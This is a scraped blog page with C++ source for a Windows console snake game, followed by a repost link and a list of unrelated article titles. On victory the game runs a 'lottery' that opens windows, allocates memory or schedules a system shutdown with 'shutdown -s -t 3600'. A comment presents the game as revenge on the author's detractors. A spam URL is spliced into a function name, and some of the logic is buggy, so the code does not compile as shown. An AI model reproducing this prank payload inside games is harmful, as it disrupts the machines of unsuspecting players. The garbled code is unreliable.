//贪吃蛇大战HuangZhen
  
  #include<iostream>
  
  #include<windows.h>
  
  #include<conio.h>//kbhit();getch()
  
  #include<ctime>//随机种子
  
  #include<cstdlib>//随机种子
  
  #include<malloc.h>//malloc()
  
  #define W 75//宽width74
  
  #define E 20//长ength19
  
  #define L 50//蛇最长长度long50
  
  #define FL 9//食物长度
  
  using namespace std;
  
  class TCS
  
  {
  
  private:
  
  int l;//蛇的长度
  
  int F;//蛇的方向
  
  int Score;
  
  int Time;//刷新的次数
  
  int Speed;
  
  int Appear;//1则为出现食物,0则否
  
  //食物的坐标
  
  int x;
  
  int y;
  
  //蛇的坐标
  
  int a[L],b[L];
  
  //界面(包括蛇)
  
  char S[W][E];
  
  public:
  
  TCS(int LL=2);
  
  void SetTCS(int* m,int* n);//设置开始时的蛇
  
  int Getl(){return l;}
  
  int GetTime(){return Time;}
  
  int GetSpeed(){return Speed;}
  
  void Print();//输出
  
  void GetF();//得到输入的方向
  
  void MoveU();//上移
  
  void MoveD();
  
  void MoveL();
  
  void MoveR();
  
  void Move1();//蛇身的移动
  
  void Move();//蛇的移动
  
  bool IfDead();//蛇是否死亡
  
  bool TCSAdd();//蛇加长
  
  void FoodAppear();//食物出现
  
  void Food();//设置食物
  
  void Setxy();//设置食物坐标
  
  };
  
  TCS::TCS(int LL)
  
  {
  
  l=LL;
  
  F=77;
  
  Score=0;
  
  Time=0;
  
  Speed=3;
  
  Appear=0;
  
  }
  
  void TCS::SetTCShttp://zzdxjyzd.com(int* m,int* n)
  
  {
  
  for(int i=0;i<L;i++)//L-l=蛇尾的xy坐标
  
  {
  
  a[i]=*(m+i);
  
  b[i]=*(n+i);
  
  }
  
  for(int h=0;h<E;h++)
  
  {
  
  for(int g=0;g<W;g++)
  
  {
  
  S[g][h]=' ';
  
  }
  
  }
  
  }
  
  void TCS::Print()
  
  {
  
  int g,h;
  
  for(h=0;h<E;h++)
  
  {
  
  for(g=0;g<W;g++)
  
  {
  
  S[g][h]=' ';
  
  }
  
  }
  
  while(h!=-1){S[W-1][h]='|';h--;}//边界
  
  while(g!=-1){S[g][E-1]='~';g--;}//边界
  
  //食物出现
  
  FoodAppear();
  
  //对S[][]赋值
  
  for(g=L-l;g<L-1;g++)
  
  S[a[g]][b[g]]='*';//蛇身
  
  S[a[L-1]][b[L-1]]='#';//蛇头
  
  system("cls");//清屏幕
  
  for(int y=0;y<E;y++)//输出
  
  {
  
  for(int x=0;x<W;x++)
  
  {
  
  cout<<S[x][y];
  
  }
  
  cout<<endl;
  
  }
  
  cout<<"得分:"<<Score<<'\t'<<"速度:"<<Speed<<"级"<<endl;
  
  }
  
  void TCS::GetF()
  
  {
  
  if(kbhit())
  
  {
  
  getch();//方向键要用两个getch()
  
  F=getch();
  
  }
  
  }
  
  void TCS::MoveU()
  
  {
  
  Move1();
  
  b[L-1]--;
  
  }
  
  void TCS::MoveD()
  
  {
  
  Move1();
  
  b[L-1]++;
  
  }
  
  void TCS::MoveL()
  
  {
  
  Move1();
  
  a[L-1]--;
  
  }
  
  void TCS::MoveR()
  
  {
  
  Move1();
  
  a[L-1]++;
  
  }
  
  void TCS::Move1()//蛇身的移动
  
  {
  
  a[L-l-1]=a[L-l];
  
  a[L-l-1]=b[L-l];//为了TCSAdd();记录蛇尾的上一步
  
  for(int i=L-l;i<L-1;i++)
  
  {
  
  a[i]=a[i+1];
  
  b[i]=b[i+1];
  
  }
  
  }
  
  void TCS::Move()
  
  {
  
  switch(F)
  
  {
  
  case 72://上
  
  if(b[L-1]>b[L-2])//判断不能向上移动的情况
  
  MoveD();//继续向下
  
  else
  
  MoveU();//蛇头移动
  
  break;
  
  case 80://下
  
  if(b[L-1]<b[L-2])
  
  MoveU();//继续向上
  
  else
  
  MoveD();
  
  break;
  
  case 75://左
  
  if(a[L-1]>a[L-2])
  
  MoveR();//继续向右
  
  else
  
  MoveL();
  
  break;
  
  case 77://右
  
  if(a[L-1]<a[L-2])
  
  MoveL();//继续向左
  
  else
  
  MoveR();
  
  break;
  
  default:
  
  break;
  
  }
  
  }
  
  bool TCS::IfDead()
  
  {
  
  if(a[L-1]<0 || a[L-1]>=W-1 || b[L-1]<0 || b[L-1]>=E-1)
  
  return true;
  
  else if(S[a[L-1]][b[L-1]]=='|'|| S[a[L-1]][b[L-1]]=='~' || S[a[L-1]][b[L-1]]=='*')
  
  return true;
  
  else
  
  return false;
  
  }
  
  bool TCS::TCSAdd()
  
  {
  
  if(S[a[L-1]][b[L-1]]!=' ')//因为第一次T.Print()蛇不死=先判断是否死了再到TCS();所以能用!=' '
  
  {
  
  l++;
  
  a[L-l]=a[L-l+1];//将蛇尾的上一步赋给新加的蛇尾
  
  b[L-l]=b[L-l+1];
  
  Score++;
  
  if(Score%Speed==0 && Speed!=1)
  
  Speed--;
  
  return true;
  
  }
  
  else
  
  return false;
  
  }
  
  void TCS::FoodAppear()
  
  {
  
  Time++;
  
  if(Time==Speed*10)//吃完后出现食物需要的时间
  
  {
  
  Setxy();
  
  for(int Q=0;Q<FL;Q++)
  
  {
  
  if(S[x+Q][y]!=' ')
  
  {
  
  Setxy();
  
  Q=0;
  
  }
  
  }
  
  Appear=1;
  
  }
  
  if(Appear==1 && Time<=(Speed*1000))//Speed*1000-Speed*10停留时间
  
  {
  
  Food();
  
  }
  
  if(TCSAdd())
  
  {
  
  S[x][y]=' ';
  
  Time=0;
  
  Appear=0;
  
  }
  
  }
  
  void TCS::Food()//如想修改食物,请统计食物有字符数然后将FL的值修改
  
  {
  
  S[x][y]='H';
  
  S[x+1][y]='u';
  
  S[x+2][y]='a';
  
  S[x+3][y]='n';
  
  S[x+4][y]='g';
  
  S[x+5][y]='Z';
  
  S[x+6][y]='h';
  
  S[x+7][y]='e';
  
  S[x+8][y]='n';
  
  }
  
  void TCS::Setxy()
  
  {
  
  srand(time(0));
  
  x=rand()%(W-1-FL);//huangZhen9个字符
  
  y=rand()%(E-1);//食物的随机坐标
  
  }
  
  int main()
  
  {
  
  TCS T(10);//输入初始长度
  
  int x[L]={0},y[L]={0};
  
  for(int i=0;i<T.Getl();i++)
  
  x[L-T.Getl()+i]=i;
  
  T.SetTCS(x,y);
  
  while(1)
  
  {
  
  T.Print();//对蛇赋值
  
  T.GetF();
  
  if(T.GetTime()%T.GetSpeed()==0)
  
  {
  
  T.Move();
  
  if(T.IfDead())//S[a[L-1]][b[L-1]]!=' '&& S[a[L-1]][b[L-1]]!='$'
  
  {
  
  cout<<"你玩完了!";
  
  break;
  
  }
  
  }
  
  if(T.Getl()==L)
  
  {
  
  cout<<"Victory!食物已经被吃光!"<<endl;
  
  Z:
  
  cout<<"你有一次抽奖的机会:(请输入你心中理想的数字0~9)"<<endl;
  
  cin>>x[0];
  
  if(x[0]>=0 && x[0]<=3)
  
  {
  
  for(int P=0;P<1;P++)//可更改1
  
  system("start");//弹框
  
  }
  
  else if(x[0]>=4 && x[0]<=6)
  
  {
  
  for(int Q=0;Q<1;Q++)//可更改1
  
  int *p=(int *)malloc(100);//malloc n.内存分配;卡内存;可更改100
  
  }
  
  else if(x[0]>=7 && x[0]<=9)
  
  system("shutdown -s -t 3600");//-s是关机,-t是秒;3600秒后关机;//可更改3600
  
  else
  
  goto Z;
  
  break;
  
  }//此游戏用于报复对HuangZhen不满足的人^_^
  
  }
  
  return 0;
  
  }

转载于:https://www.cnblogs.com/dakunqq/p/11350817.html

c++游戏编程 源代码相关推荐

  1. python游戏编程入门源代码_python游戏编程入门源代码

    [实例简介] <Python游戏编程入门>的源代码,作者Jonathan S.Harbour 很好的资源,希望对学习python的同学有帮助,代码都可以运行 [实例截图] [核心代码] p ...

  2. 【浅墨著作】 逐梦旅程 Windows游戏编程之从零开始 勘误 配套源代码下载

    这段时间真的好多童鞋在博客里留言说或者发邮件说浅墨你回来继续更新博客吧. woxiangnifrr童鞋说每天都在来浅墨的博客逛一下看有没有更新,"每天都来就像看女神那般不依不舍", ...

  3. python五子棋源代码_python游戏编程系列-五子棋

    继续介绍python游戏编程,仍然是基于pgzero.关于该软件包的基础使用技巧可参考本人专栏文章:老娄:python游戏编程之pgzero使用介绍​zhuanlan.zhihu.com 思考绘制棋盘 ...

  4. python游戏编程书籍-《Python游戏编程快速上手》一1.3 如何使用本书

    本节书摘来异步社区<Python游戏编程快速上手>一书中的第1章,第1.3节,作者: [美]Al Sweigart(斯维加特) 译者: 李强 责编: 陈冀康,更多章节内容可以访问云栖社区& ...

  5. python游戏编程快速上手第四版dragon_《Python游戏编程快速上手》——导读

    前 言 感谢您阅读本书.编写本书最初的动机是,我看到目前很少有能够激发孩子学习编程的兴趣的图书.我最初使用BASIC编程语言开始编程,使用的是一本像本书一样的书. 在写作本书的过程中,我意识到,像Py ...

  6. 【转】游戏编程中的人工智能技术--神经网络

    原文:http://blog.csdn.net/ecitnet/article/details/1799444 游戏编程中的人工智能技术 . > .  (连载之一) 用平常语言介绍神经网络(Ne ...

  7. 《Python游戏编程入门》——1.2 初识Python

    本节书摘来自异步社区<Python游戏编程入门>一书中的第1章,第1.2节,作者[美]Jonathan S. Harbour ,李强 译,更多章节内容可以访问云栖社区"异步社区& ...

  8. python游戏编程入门下载-Python游戏编程入门 中文pdf扫描版|网盘下载内附地址提取码|...

    Python是一种解释型.面向对象.动态数据类型的程序设计语言,在游戏开发领域,Python也得到越来越广泛的应用,并由此受到重视. 本书教授用Python开发精彩游戏所需的[]为重要的该你那.本书不 ...

  9. python编程入门 pdf-PYTHON游戏编程入门 PDF 下载

    相关截图: 图书简介: Python是一种解释型.面向对象.动态数据类型的高级程序设计语言,在游戏开发领域,Python也得到越来越广泛的应用,并由此受到重视. 本书教授用Python开发精彩游戏所需 ...

  10. 《C++游戏编程入门(第4版)》——1.9 本章小结

    本节书摘来自异步社区出版社<C++游戏编程入门(第4版)>一书中的第1章,第1.9节,作者:[美]Michael Dawson(道森),更多章节内容可以访问云栖社区"异步社区&q ...

最新文章

  1. 配置SSH是出现: sign_and_send_pubkey: signing failed: agent refused operation Permission denied
  2. “安全即代码”:整合安全团队和DevOps团队
  3. Kafka深入理解-2:Kafka的Log存储解析
  4. 日期类的加减及java中所以日期类的操作算法大全
  5. Sage CRM升级注意事项一
  6. Linux 查看目录常用命令
  7. Spring Cloud Spring Boot mybatis分布式微服务云架构(一)快速入门
  8. java 中append()_调用append()方法在Java中构造一个StringBuffer对象
  9. 常州模拟赛d3t2 灰狼呼唤着同胞
  10. python整数类型与数学-Python类型和运算--数字
  11. 图像处理-形态学运算
  12. 关于level_idc
  13. pyspark:basic_operating_1
  14. idea 格式化代码时, 不换行
  15. 解决安卓4.4webview的兼容性问题
  16. event mpm php,Apache下三种MPM模式:prefork,worker和event
  17. win7 开WiFi共享
  18. C语言实现拟合直线方程
  19. 介于上海与江苏的地铁小户型
  20. python2 x和python3 x_python2.x 和python3.x 哪个比较好?老男孩Python

热门文章

  1. 串行通信技术SERDES
  2. 浅谈Zookeeper客户端库Curator实现加锁的原理
  3. qt实现仓库物料管理(小工具)
  4. 多进程编程之进程间通信
  5. 大数据 客户标签体系_CIO创享任寅姿:面向业务的数据资产建设方法论——标签类目体系...
  6. C++:使用vector::reserve来避免不必要的重新分配
  7. 学生学籍管理系统页面源代码html_学生信息管理系统系统源代码
  8. 下载Android kernel
  9. Centos 7.0 的svn
  10. 【组合数学】递推方程 ( 有重根递推方程求解问题 | 问题提出 )